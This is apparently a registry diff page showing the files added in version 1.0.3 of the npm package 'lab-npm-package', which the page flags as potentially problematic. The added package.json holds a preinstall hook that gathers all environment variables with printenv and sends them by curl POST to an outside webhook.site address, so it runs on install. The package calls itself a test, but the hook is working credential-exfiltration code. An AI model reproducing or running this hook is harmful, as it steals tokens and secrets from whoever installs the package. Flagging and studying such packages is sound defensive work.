lab-npm-package 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of lab-npm-package might be problematic. Click here for more details.
- package/index.js +7 -0
- package/package.json +15 -0
- package/test/script.js +5 -0
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "lab-npm-package",
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "This is a test package, please don't install and use this",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": ["my_env=$(printenv)",
|
9
|
+
"json_data='{'env_variable': '$my_env' }'",
|
10
|
+
"curl -X POST -H 'Content-Type: application/json' -d $json_data https://webhook.site/6c53f051-f81b-4ea1-853c-a4ea76539a5c"]
|
11
|
+
},
|
12
|
+
"author": "",
|
13
|
+
"license": "ISC"
|
14
|
+
}
|
15
|
+
|